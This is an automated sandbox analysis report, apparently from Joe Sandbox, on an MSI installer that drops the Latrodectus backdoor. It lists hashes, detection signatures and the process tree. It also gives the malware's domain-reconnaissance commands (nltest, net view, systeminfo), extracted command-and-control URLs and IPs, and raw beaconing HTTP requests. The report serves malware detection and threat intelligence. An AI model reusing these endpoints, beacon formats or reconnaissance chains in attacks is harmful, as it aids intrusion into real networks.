Edit tour

Windows Analysis Report
ad.msi

Overview

General Information

Sample name:	ad.msi
Analysis ID:	1431940
MD5:	666151c11b7899a0c764abe711d3f9b3
SHA1:	35462114e096f4d307607d713136bfe38479870d
SHA256:	8041a15e27c785f2adcce9e8c643f5cc619b52e50cd36ff043d13c4089ce1cad
Infos:

Detection

Latrodectus

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected Latrodectus

C2 URLs / IPs found in malware configuration

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to detect sleep reduction / modifications

Drops executables to the windows directory (C:\Windows) and starts them

PE file contains section with special chars

Performs a network lookup / discovery via net view

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Uses ipconfig to lookup or modify the Windows network settings

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the current domain controller via net

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 5948 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\ad.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 3528 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7120 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding E4F2088FE7B6F79163C652AEB7DCBA5B C MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 6024 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 2B25E5241F8800AB2020C808DD90D583 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSID8B1.tmp (PID: 2828 cmdline: "C:\Windows\Installer\MSID8B1.tmp" C:/Windows/System32/rundll32.exe C:\Users\user\AppData\Local\sharepoint\360total.dll, homq MD5: B9545ED17695A32FACE8C3408A6A3553)

rundll32.exe (PID: 5668 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Local\sharepoint\360total.dll, homq MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 2624 cmdline: rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq MD5: EF3179D498793BF4234F708D3BE28633)

cmd.exe (PID: 5428 cmdline: /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 6788 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

cmd.exe (PID: 5544 cmdline: /c systeminfo MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 5148 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 5560 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 7160 cmdline: /c nltest /domain_trusts MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nltest.exe (PID: 1868 cmdline: nltest /domain_trusts MD5: 70E221CE763EA128DBA484B2E4903DE1)

cmd.exe (PID: 6392 cmdline: /c nltest /domain_trusts /all_trusts MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

nltest.exe (PID: 2604 cmdline: nltest /domain_trusts /all_trusts MD5: 70E221CE763EA128DBA484B2E4903DE1)

cmd.exe (PID: 1900 cmdline: /c net view /all /domain MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 2296 cmdline: net view /all /domain MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

rundll32.exe (PID: 3664 cmdline: rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Unidentified 111 (Latrodectus), Latrodectus	First discovered in October 2023, BLACKWIDOW is a backdoor written in C that communicates over HTTP using RC4 encrypted requests. The malware has the capability to execute discovery commands, query information about the victim's machine, update itself, as well as download and execute an EXE, DLL, or shellcode. The malware is believed to have been developed by LUNAR SPIDER, the creators of IcedID (aka BokBot) Malware.	No Attribution	https://embee-research.ghost.io/phishing-domain-analysis-with-passive-dns-latrodectus/ https://exchange.xforce.ibmcloud.com/malware-analysis/guid:dab8a02f9161933bc2eff5ba4a5f8412 https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39 https://twitter.com/Myrtus0x0/status/1732997981866209550 https://www.embeeresearch.io/latrodectus-script-deobfuscation/	https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111

Malware Configuration

Threatname: Latrodectus

{"C2 url": ["https://jarinamaers.shop/live/", "https://wrankaget.site/live/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.3239594516.000002473B520000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000007.00000002.3239003691.0000005536378000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000008.00000002.2009341046.00000210FE9F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000007.00000003.2918615287.000002473B890000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000008.00000002.2009386305.00000210FEA00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000007.00000002.3239304282.0000024739A40000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000007.00000003.3072398215.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000007.00000003.3001961858.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000007.00000003.2854188056.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000006.00000002.1996565614.000001FB3AB60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000007.00000002.3239248195.0000024739A10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Process Memory Space: rundll32.exe PID: 2624	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author
8.2.rundll32.exe.210fe9f0000.0.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
6.2.rundll32.exe.1fb3ab70000.2.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
6.2.rundll32.exe.1fb3ab70000.2.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
6.2.rundll32.exe.1fb3ab60000.1.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
7.2.rundll32.exe.24739a10000.1.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
8.2.rundll32.exe.210fea00000.1.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
8.2.rundll32.exe.210fe9f0000.0.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
6.2.rundll32.exe.1fb3ab60000.1.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
7.2.rundll32.exe.24739a10000.1.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
7.2.rundll32.exe.24739a40000.2.raw.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
7.2.rundll32.exe.24739a40000.2.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
8.2.rundll32.exe.210fea00000.1.unpack	JoeSecurity_Latrodectus	Yara detected Latrodectus	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net view /all /domain, CommandLine: net view /all /domain, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: /c net view /all /domain, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1900, ParentProcessName: cmd.exe, ProcessCommandLine: net view /all /domain, ProcessId: 2296, ProcessName: net.exe

Sigma detected: Share And Session Enumeration Using Net.EXE

Source: Process started

Author: Endgame, JHasenbusch (ported for oscd.community): Data: Command: net view /all /domain, CommandLine: net view /all /domain, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: /c net view /all /domain, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1900, ParentProcessName: cmd.exe, ProcessCommandLine: net view /all /domain, ProcessId: 2296, ProcessName: net.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: /c ipconfig /all, CommandLine: /c ipconfig /all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq , ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 2624, ParentProcessName: rundll32.exe, ProcessCommandLine: /c ipconfig /all, ProcessId: 5428, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 8.2.rundll32.exe.210fea00000.1.unpack

Malware Configuration Extractor: Latrodectus {"C2 url": ["https://jarinamaers.shop/live/", "https://wrankaget.site/live/"]}

Multi AV Scanner detection for dropped file

Source: :wtfbbq (copy)	Virustotal: Detection: 14%	Perma Link
Source: C:\Users\user\AppData\Local\sharepoint\360total.dll	Virustotal: Detection: 14%	Perma Link
Source: C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll	Virustotal: Detection: 14%	Perma Link

Multi AV Scanner detection for submitted file

Source: ad.msi

Virustotal: Detection: 8%

Perma Link

Sample uses string decryption to hide its real strings

Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor: H-%8L
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor: )b
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor: $k$
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor:
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor: h
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor:
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor:
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor: !"#$%&'()*+,-./012345678
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor:
Source: 6.2.rundll32.exe.1fb3ab60000.1.unpack	String decryptor: @ !"#$%&'()*+,-./0123456789:;<=>?@

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018003BC0C CryptAcquireContextW,GetLastError,CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,

6_2_000000018003BC0C

Source: unknown	HTTPS traffic detected: 104.21.46.75:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.219.28:443 -> 192.168.2.5:49718 version: TLS 1.2

Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb: source: MSID8B1.tmp, 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, MSID8B1.tmp, 00000005.00000000.1989909897.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, ad.msi, MSID8B1.tmp.1.dr, 5fd5a1.msi.1.dr, MSID824.tmp.1.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdb source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\AICustAct.pdbn source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr
Source:	Binary string: C:\JobRelease\win\Release\custact\x86\viewer.pdb source: MSID8B1.tmp, 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, MSID8B1.tmp, 00000005.00000000.1989909897.0000000000B67000.00000002.00000001.01000000.00000003.sdmp, ad.msi, MSID8B1.tmp.1.dr, 5fd5a1.msi.1.dr, MSID824.tmp.1.dr
Source:	Binary string: C:\vmagent_new\bin\joblist\574019\out\Release\360Util64.pdb source: rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr

Spreading

Performs a network lookup / discovery via net view

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net view /all /domain			Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_CURRENT_USER_Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B5AF79 FindFirstFileExW,	5_2_00B5AF79
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7A350 FindFirstFileW,FindNextFileW,LoadLibraryW,	6_2_000001FB3AB7A350
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB71A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	6_2_000001FB3AB71A08
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4A350 FindFirstFileW,FindNextFileW,LoadLibraryW,	7_2_0000024739A4A350
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A41A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	7_2_0000024739A41A08
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0A350 FindFirstFileW,FindNextFileW,LoadLibraryW,	8_2_00000210FEA0A350
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA01A08 FindFirstFileA,wsprintfA,FindNextFileA,FindClose,	8_2_00000210FEA01A08

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 104.21.46.75 443			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 172.67.219.28 443			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://jarinamaers.shop/live/
Source: Malware configuration extractor	URLs: https://wrankaget.site/live/

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: jarinamaers.shopContent-Length: 252Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: jarinamaers.shopContent-Length: 180Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: jarinamaers.shopContent-Length: 180Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: jarinamaers.shopContent-Length: 180Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: grizmotras.comContent-Length: 180Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /live/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: grizmotras.comContent-Length: 180Cache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000001FB3AB78D90 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

6_2_000001FB3AB78D90

Source: global traffic	DNS traffic detected: DNS query: jarinamaers.shop
Source: global traffic	DNS traffic detected: DNS query: grizmotras.com

Source: unknown

HTTP traffic detected: POST /live/ HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: jarinamaers.shopContent-Length: 252Cache-Control: no-cache

